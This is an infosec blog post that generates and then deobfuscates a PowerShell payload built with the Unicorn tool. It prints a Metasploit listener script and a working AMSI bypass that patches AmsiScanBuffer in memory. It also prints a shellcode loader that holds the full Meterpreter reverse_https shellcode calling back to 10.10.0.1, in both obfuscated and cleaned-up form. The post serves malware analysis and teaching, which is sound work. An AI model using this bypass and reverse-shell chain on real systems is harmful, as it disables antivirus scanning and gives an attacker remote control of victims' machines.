xanhacks - infosec blog

Unicorn obfuscated powershell analysis

·7 mins

In this article, we will use Unicorn, this is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. This is a simple Python script which generates malware via templates.

Unicorn installation #

To install it, you just need to clone the Github repository.

$ git clone --depth=1 https://github.com/trustedsec/unicorn
Cloning into 'unicorn'...
remote: Enumerating objects: 11, done.
remote: Counting objects: 100% (11/11), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 11 (delta 2), reused 5 (delta 1), pack-reused 0
Receiving objects: 100% (11/11), 30.25 KiB | 645.00 KiB/s, done.
Resolving deltas: 100% (2/2), done.
$ cd unicorn
$ python3 unicorn.py -h
[...]
-------------------- Magic Unicorn Attack Vector v3.17 -----------------------------

Native x86 powershell injection attacks on any Windows platform.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
[...]

Generates payloads #

We can generate an obfuscated reverse shell in powershell with the following command :

$ python3 unicorn.py windows/meterpreter/reverse_https 10.10.0.1 443
[...]
[*] Exported powershell output code to powershell_attack.txt.
[*] Exported Metasploit RC file as unicorn.rc. Run msfconsole -r unicorn.rc to execute and create listener.

We now have two files, unicorn.rc and powershell_attack.txt.

unicorn.rc is a metasploit Resource Scripts. It contains metasploit commands to start the listener. You can use it by running this command $ msfconsole -r unicorn.rc.

use multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 10.10.0.1
set LPORT 443
set ExitOnSession false
set AutoVerifySession false
set AutoSystemInfo false
set AutoLoadStdapi false
exploit -j

powershell_attack.txt contains the powershell payload.

# AMSI bypass code - run in same process as unicorn second stage
powershell /w 1 /C "sv yz -;sv ll ec;sv DWP ((gv yz).value.toString()+(gv ll).value.toString());powershell (gv DWP).value.toString() ('JAB0AEIASQBQAHUAQgAgAD0AIA...CAANgApAA==')"

# actual unicorn payload
powershell /w 1 /C "sv yz -;sv ll ec;sv DWP ((gv yz).value.toString()+(gv ll).value.toString());powershell (gv DWP).value.toString() ('JABzAGoAPQAnACQAawBPA...UAIgApADsAaQBlAHgAIAAkAEgARAA=')"

Powershell analysis #

The powershell script is separated into two powershell commands. The first command is to “disable” the AmsiScanBuffer function. AmsiScanBuffer aims to scan for malware inside memory. The second command contains the reverse shell code which will be run in a thread.

The two commands have the same following form :

powershell /w 1 /C "sv yz -;sv ll ec;sv DWP ((gv yz).value.toString()+(gv ll).value.toString());powershell (gv DWP).value.toString() ('<base64>')"
  • /w (or /WindowStyle) is set to 1 (Hidden). The window will be hidden.
  • /C (or /Command) take a powershell command to executes.

Let’s look at the first part of the subcommand : sv yz -;sv ll ec;sv DWP ((gv yz).value.toString()+(gv ll).value.toString())

sv (Set-Variable) defines a powershell variable, example :

PS /opt/unicorn> sv yz -;sv ll ec;sv DWP ((gv yz).value.toString()+(gv ll).value.toString())
# You can display variables with echo or gv (Get-Variable).
PS /opt/unicorn> echo $yz
-
PS /opt/unicorn> echo $ll
ec
PS /opt/unicorn> echo $DWP
-ec
PS /opt/unicorn> gv DWP

Name                           Value
----                           -----
DWP                            -ec
PS /opt/unicorn>

-ec (-EncodedCommand <Base64EncodedCommand>) is a powershell CLI parameter which takes a base64 powershell command to executes.

The goal was to obfuscate the -ec parameter which is often flag as malicious by AVs (anti-virus).

Now, we can deal with the simplified commands.

# Before
powershell /w 1 /C "sv yz -;sv ll ec;sv DWP ((gv yz).value.toString()+(gv ll).value.toString());powershell (gv DWP).value.toString() ('JAB0AEIASQBQAHUAQgAgAD0AIA...CAANgApAA==')"

# After
powershell -ec 'JAB0AEIASQBQAHUAQgAgAD0AIA...CAANgApAA=='

AMSI bypass #

Now, let’s decode the base64 encoded command of the first powershell command.

echo -n 'JAB0AEIASQBQAHUAQg...AsACAANgApAA==' | base64 -d | iconv -f utf-16le -t utf-8 -o enc_command.ps1

The content of the base64 is obviously obfuscated too.

$tBIPuB = @"
using System;using System.Runtime.InteropServices;public class Win32 {[DllImport("ke"+"r"+"nel32")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);[DllImport("ke"+"r"+"nel32")] public static extern IntPtr LoadLibrary(string name);[DllImport("ke"+"r"+"nel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);}
"@
Add-Type $tBIPuB;$NqrUMwF = [Win32]::GetProcAddress([Win32]::LoadLibrary("Am"+"s"+"i.dl"+"l"+""), "Am"+"s"+"iSca"+"n"+"Bu"+"f"+"fer");$oXdvRXF = 0;[Win32]::VirtualProtect($NqrUMwF, [uint32][uint32]5, 0x40, [ref]$oXdvRXF);$EQZFbkzaW = ("}xxbmJnobM, }xJSOjy, }x}}, }x}7, }x8}, }xC3").replace("JSOjy", "57").replace("}", "0").replace("xbmJnobM", "B8");$EQZFbkzaW = [Byte[]]($EQZFbkzaW).split(",");[System.Runtime.InteropServices.Marshal]::Copy($EQZFbkzaW, 0, $NqrUMwF, 6)

Here is a more readable and commented version.

# multi-line powershell string
$tBIPuB = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {

  [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

  [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name);

  [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

# Load Win32 object
Add-Type $tBIPuB;

# NqrUMwF = Address of AmsiScanBuffer function (inside Amsi.dll)
$NqrUMwF = [Win32]::GetProcAddress([Win32]::LoadLibrary("Amsi.dll"), "AmsiScanBuffer");

$oXdvRXF = 0;

# Change the protection of the AmsiScanBuffer function to RWX.
[Win32]::VirtualProtect($NqrUMwF, [uint32][uint32]5, 0x40, [ref]$oXdvRXF);

# EQZFbkzaW = "0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3"
$EQZFbkzaW = ("}xxbmJnobM, }xJSOjy, }x}}, }x}7, }x8}, }xC3").replace("JSOjy", "57").replace("}", "0").replace("xbmJnobM", "B8");

# EQZFbkzaW = {0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3}
$EQZFbkzaW = [Byte[]]($EQZFbkzaW).split(",");

# Copy (byte[] source, int startIndex, IntPtr destination, int length);
# Change the code of AmsiScanBuffer to disable it.
[System.Runtime.InteropServices.Marshal]::Copy($EQZFbkzaW, 0, $NqrUMwF, 6)

The purpose of the above script is to disable the AmsiScanBuffer function. This function aims to detect malware inside memory. To do this, you need to be able to write to the memory area containing the function’s code, then, modify the code of the function. Here are the different tasks of the script :

  1. Get the address of AmsiScanBuffer using GetProcAddress.
  2. Change the protections of the memory area using VirtualProtect.
  3. Rewrite the memory area of AmsiScanBuffer with the Copy function.

The code of AmsiScanBuffer is now equal to :

0:  b8 57 00 07 80          mov    eax,0x80070057
5:  c3                      ret

AmsiScanBuffer will now always return 0x80070057. This value corresponds to the error code of E_INVALIDARG (parameters are invalid). This will later returns AMSI_RESULT_CLEAN, no detection found.

Reverse shell #

Now that AMSI is disabled, we can decode the base64 encoded command of the second powershell command.

This time, the code is a bit longer.

$sj='$kO=''[DllImport(("msvcr"+"t"+".dll"))]public static extern IntPtr calloc(uint dwSize, uint amount);[DllImport("kerne"+"l"+"32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("kerne"+"l"+"32.dll")]public static extern IntPtr VirtualProtect(IntPtr lpStartAddress, uint dwSize, uint flNewProtect, out uint zcz);[DllImport("msvcr"+"t"+".dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$Ka="}e8,}8f,}00,}00,}00,}60,}89,}e5,}31,}d2,}64,}8b,}52,}30,}8b,}52,}0c,}8b,}52,}14,}31,}ff,}8b,}72,}28,}0f,}b7,}4a,}26,}31,}c0,}ac,}3c,}61,}7c,}02,}2c,}20,}c1,}cf,}0d,}01,}c7,}49,}75,}ef,}52,}57,}8b,}52,}10,}8b,}42,}3c,}01,}d0,}8b,}40,}78,}85,}c0,}74,}4c,}01,}d0,}50,}8b,}58,}20,}8b,}48,}18,}01,}d3,}85,}c9,}74,}3c,}49,}8b,}34,}8b,}31,}ff,}01,}d6,}31,}c0,}c1,}cf,}0d,}ac,}01,}c7,}38,}e0,}75,}f4,}03,}7d,}f8,}3b,}7d,}24,}75,}e0,}58,}8b,}58,}24,}01,}d3,}66,}8b,}0c,}4b,}8b,}58,}1c,}01,}d3,}8b,}04,}8b,}01,}d0,}89,}44,}24,}24,}5b,}5b,}61,}59,}5a,}51,}ff,}e0,}58,}5f,}5a,}8b,}12,}e9,}80,}ff,}ff,}ff,}5d,}68,}6e,}65,}74,}00,}68,}77,}69,}6e,}69,}54,}68,}4c,}77,}26,}07,}ff,}d5,}31,}db,}53,}53,}53,}53,}53,}68,}3a,}56,}79,}a7,}ff,}d5,}53,}53,}6a,}03,}53,}53,}68,}bb,}01,}00,}00,}e8,}b0,}00,}00,}00,}2f,}75,}52,}50,}31,}68,}4b,}38,}38,}35,}4e,}61,}45,}66,}34,}56,}2d,}35,}6b,}6c,}39,}77,}77,}52,}77,}67,}6d,}39,}2d,}75,}00,}50,}68,}57,}89,}9f,}c6,}ff,}d5,}89,}c6,}53,}68,}00,}32,}e8,}84,}53,}53,}53,}57,}53,}56,}68,}eb,}55,}2e,}3b,}ff,}d5,}96,}6a,}0a,}5f,}68,}80,}33,}00,}00,}89,}e0,}6a,}04,}50,}6a,}1f,}56,}68,}75,}46,}9e,}86,}ff,}d5,}53,}53,}53,}53,}56,}68,}2d,}06,}18,}7b,}ff,}d5,}85,}c0,}75,}16,}68,}88,}13,}00,}00,}68,}44,}f0,}35,}e0,}ff,}d5,}4f,}75,}cd,}68,}f0,}b5,}a2,}56,}ff,}d5,}6a,}40,}68,}00,}10,}00,}00,}68,}00,}00,}40,}00,}53,}68,}58,}a4,}53,}e5,}ff,}d5,}93,}53,}53,}89,}e7,}57,}68,}00,}20,}00,}00,}53,}56,}68,}12,}96,}89,}e2,}ff,}d5,}85,}c0,}74,}cd,}8b,}07,}01,}c3,}85,}c0,}75,}e5,}58,}c3,}5f,}e8,}69,}ff,}ff,}ff,}31,}30,}2e,}31,}30,}2e,}30,}2e,}31,}00";$IG=Add-Type -pass -m $kO -Name "Sg" -names HIT;$IG=$IG.replace("HIT", "Win"+"3"+"2Functions");[byte[]]$Ka = $Ka.replace("}","LtFex").replace("LtFe", "0").Split(",");$lu=0x1003;if ($Ka.L -gt 0x1003){$lu=$Ka.L};$eZ=$IG::calloc(0x1003, 1);[UInt64]$zcz = 0;for($lh=0;$lh -le($Ka.Length-1);$lh++){$IG::memset([IntPtr]($eZ.ToInt32()+$lh), $Ka[$lh], 1)};$IG::VirtualProtect($eZ, 0x1003, 0x40, [Ref]$zcz);$qOx=[int]0x00;$IG::CreateThread([int]0,$qOx,$eZ,0,0,1-1);';$xo=[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($sj));$Vd="powershell";$zo="Windows";$lZkw = "C:\$zo\OIPGuyl\$zo$Vd\v1.0\$Vd";$lZkw = $lZkw.replace("OIP", "sys");$lZkw = $lZkw.replace("Guyl", "wow64");$fXi = 'Tr"+"u"+"e';if([environment]::Is64BitOperatingSystem -eq '$fXi'){$Vd= $lZkw};$HD=" $Vd ViUP $xo";$HD=$HD.replace("ViUP", "-noexit -e");iex $HD

Let’s beautify this code :

$sj='...';

$xo=[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($sj));
$Vd="powershell";
$zo="Windows";
$lZkw = "C:\$zo\OIPGuyl\$zo$Vd\v1.0\$Vd";
$lZkw = $lZkw.replace("OIP", "sys");
$lZkw = $lZkw.replace("Guyl", "wow64");
$fXi = 'Tr"+"u"+"e';
if([environment]::Is64BitOperatingSystem -eq '$fXi'){
  $Vd= $lZkw
};
$HD=" $Vd ViUP $xo";
$HD=$HD.replace("ViUP", "-noexit -e");
iex $HD

Here is a more readable version :

$payload='...';

$base64payload=[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload));

$pwsh="powershell";
if([environment]::Is64BitOperatingSystem -eq 'True'){
  $pwsh="C:\Windows\syswow64\Windowspowershell\v1.0\powershell"
};

iex "$pwsh -noexit -e $base64payload";

The powershell script above executes another base64 powershell command (the $payload variable).

Now, let’s focus on the payload.

$kO=''
[DllImport(("msvcrt.dll"))] public static extern IntPtr calloc(uint dwSize, uint amount);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]public static extern IntPtr VirtualProtect(IntPtr lpStartAddress, uint dwSize, uint flNewProtect, out uint zcz);
[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';

$Ka="}e8,}8f,}00,}00,}00,}60,}89,}e5,}31,}d2,}64,}8b,}52,}30,}8b,}52,}0c,}8b,}52,}14,}31,}ff,}8b,}72,}28,}0f,}b7,}4a,}26,}31,}c0,}ac,}3c,}61,}7c,}02,}2c,}20,}c1,}cf,}0d,}01,}c7,}49,}75,}ef,}52,}57,}8b,}52,}10,}8b,}42,}3c,}01,}d0,}8b,}40,}78,}85,}c0,}74,}4c,}01,}d0,}50,}8b,}58,}20,}8b,}48,}18,}01,}d3,}85,}c9,}74,}3c,}49,}8b,}34,}8b,}31,}ff,}01,}d6,}31,}c0,}c1,}cf,}0d,}ac,}01,}c7,}38,}e0,}75,}f4,}03,}7d,}f8,}3b,}7d,}24,}75,}e0,}58,}8b,}58,}24,}01,}d3,}66,}8b,}0c,}4b,}8b,}58,}1c,}01,}d3,}8b,}04,}8b,}01,}d0,}89,}44,}24,}24,}5b,}5b,}61,}59,}5a,}51,}ff,}e0,}58,}5f,}5a,}8b,}12,}e9,}80,}ff,}ff,}ff,}5d,}68,}6e,}65,}74,}00,}68,}77,}69,}6e,}69,}54,}68,}4c,}77,}26,}07,}ff,}d5,}31,}db,}53,}53,}53,}53,}53,}68,}3a,}56,}79,}a7,}ff,}d5,}53,}53,}6a,}03,}53,}53,}68,}bb,}01,}00,}00,}e8,}b0,}00,}00,}00,}2f,}75,}52,}50,}31,}68,}4b,}38,}38,}35,}4e,}61,}45,}66,}34,}56,}2d,}35,}6b,}6c,}39,}77,}77,}52,}77,}67,}6d,}39,}2d,}75,}00,}50,}68,}57,}89,}9f,}c6,}ff,}d5,}89,}c6,}53,}68,}00,}32,}e8,}84,}53,}53,}53,}57,}53,}56,}68,}eb,}55,}2e,}3b,}ff,}d5,}96,}6a,}0a,}5f,}68,}80,}33,}00,}00,}89,}e0,}6a,}04,}50,}6a,}1f,}56,}68,}75,}46,}9e,}86,}ff,}d5,}53,}53,}53,}53,}56,}68,}2d,}06,}18,}7b,}ff,}d5,}85,}c0,}75,}16,}68,}88,}13,}00,}00,}68,}44,}f0,}35,}e0,}ff,}d5,}4f,}75,}cd,}68,}f0,}b5,}a2,}56,}ff,}d5,}6a,}40,}68,}00,}10,}00,}00,}68,}00,}00,}40,}00,}53,}68,}58,}a4,}53,}e5,}ff,}d5,}93,}53,}53,}89,}e7,}57,}68,}00,}20,}00,}00,}53,}56,}68,}12,}96,}89,}e2,}ff,}d5,}85,}c0,}74,}cd,}8b,}07,}01,}c3,}85,}c0,}75,}e5,}58,}c3,}5f,}e8,}69,}ff,}ff,}ff,}31,}30,}2e,}31,}30,}2e,}30,}2e,}31,}00";

$IG=Add-Type -pass -m $kO -Name "Sg" -names HIT;
$IG=$IG.replace("HIT", "Win"+"3"+"2Functions");
[byte[]]$Ka = $Ka.replace("}","LtFex").replace("LtFe", "0").Split(",");
$lu=0x1003;

if ($Ka.L -gt 0x1003){
  $lu=$Ka.L
};

$eZ=$IG::calloc(0x1003, 1);
[UInt64]$zcz = 0;
for($lh=0;$lh -le($Ka.Length-1);$lh++){
  $IG::memset([IntPtr]($eZ.ToInt32()+$lh), $Ka[$lh], 1)
};

$IG::VirtualProtect($eZ, 0x1003, 0x40, [Ref]$zcz);
$qOx=[int]0x00;$IG::CreateThread([int]0,$qOx,$eZ,0,0,1-1);

Let’s clear it :

$kO=@"

[DllImport(("msvcrt.dll"))] public static extern IntPtr calloc(uint dwSize, uint amount);

[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("kernel32.dll")]public static extern IntPtr VirtualProtect(IntPtr lpStartAddress, uint dwSize, uint flNewProtect, out uint zcz);

[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);
"@

# Loading calloc, CreateThread, VirtualProtect and memset.
$IG=Add-Type -pass -m $kO -Name "Sg" -names HIT;
$IG=$IG.replace("HIT", "Win32Functions");

# Defining the shellcode
[byte[]]$Ka = "0xe8,0x8f,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x31,0xff,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x01,0xd0,0x50,0x8b,0x58,0x20,0x8b,0x48,0x18,0x01,0xd3,0x85,0xc9,0x74,0x3c,0x49,0x8b,0x34,0x8b,0x31,0xff,0x01,0xd6,0x31,0xc0,0xc1,0xcf,0x0d,0xac,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0xbb,0x01,0x00,0x00,0xe8,0xb0,0x00,0x00,0x00,0x2f,0x75,0x52,0x50,0x31,0x68,0x4b,0x38,0x38,0x35,0x4e,0x61,0x45,0x66,0x34,0x56,0x2d,0x35,0x6b,0x6c,0x39,0x77,0x77,0x52,0x77,0x67,0x6d,0x39,0x2d,0x75,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe8,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x16,0x68,0x88,0x13,0x00,0x00,0x68,0x44,0xf0,0x35,0xe0,0xff,0xd5,0x4f,0x75,0xcd,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x69,0xff,0xff,0xff,0x31,0x30,0x2e,0x31,0x30,0x2e,0x30,0x2e,0x31,0x00".Split(",");

# Allocate memory of length 0x1003
$eZ=$IG::calloc(0x1003, 1);
[UInt64]$zcz = 0;
# Fill memory with shellcode
for($lh=0;$lh -le($Ka.Length-1);$lh++){
  $IG::memset([IntPtr]($eZ.ToInt32()+$lh), $Ka[$lh], 1)
};

# Set memory protection to RWX
$IG::VirtualProtect($eZ, 0x1003, 0x40, [Ref]$zcz);

$qOx=[int]0x00;

# Executes the shellcode inside a thread
$IG::CreateThread([int]0,$qOx,$eZ,0,0,1-1);

In this article we will not anlyze the shellcode. Unicorngenerates shellcode using msfvenom. The powershell script above do :

  1. Creates a memory area with calloc from msvcrt.dll.
  2. Fills the memory with the shellcode with memset from msvcrt.dll.
  3. Changes memory protection to RWX with VirtualProtect from kernel32.dll.
  4. Executes the shellcode inside a thread with CreateThread from kernel32.dll.

Summary #

To summarize, we generated an obfuscated powershell reverse shell with Unicorn and analyzed it. The script is separated into two parts, disabling AMSI and running the shellcode into a thread.